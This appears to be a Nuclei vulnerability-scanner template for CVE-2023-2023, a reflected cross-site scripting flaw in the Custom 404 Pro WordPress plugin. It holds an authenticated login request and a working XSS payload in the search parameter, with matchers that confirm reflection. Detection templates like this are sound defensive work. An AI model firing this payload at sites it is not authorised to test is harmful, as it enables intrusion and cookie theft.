51 lines
1.9 KiB
YAML
51 lines
1.9 KiB
YAML
id: CVE-2023-2023
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info:
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name: Custom 404 Pro < 3.7.3 - Cross-Site Scripting
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author: r3Y3r53
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severity: medium
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description: |
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Custom 404 Pro before 3.7.3 is susceptible to cross-site scripting via the search parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
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reference:
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- https://wpscan.com/vulnerability/8859843a-a8c2-4f7a-8372-67049d6ea317
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- https://wordpress.org/plugins/custom-404-pro/advanced/
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- https://nvd.nist.gov/vuln/detail/CVE-2023-2023
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remediation: Fixed in version 3.7.3
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2023-2023
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cwe-id: CWE-79
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epss-score: 0.00171
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cpe: cpe:2.3:a:kunalnagar:custom_404_pro:*:*:*:*:*:wordpress:*:*
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epss-percentile: 0.535
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metadata:
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max-request: 2
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verified: true
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framework: wordpress
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vendor: kunalnagar
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product: custom_404_pro
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tags: wpscan,cve,cve2023,xss,wordpress,wp-plugin,authenticated,custom-404-pro,intrusive
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http:
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- raw:
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log={{username}}&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/admin.php?page=c4p-main&s={{randstr}}%22%20style=animation-name:rotation%20onanimationstart=alert(document.domain)// HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers:
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- type: dsl
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dsl:
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- status_code_2 == 200
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- contains(content_type_2, "text/html")
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- contains(body_2, "onanimationstart=alert(document.domain)//")
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- contains(body_2, "Custom 404 Pro")
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condition: and
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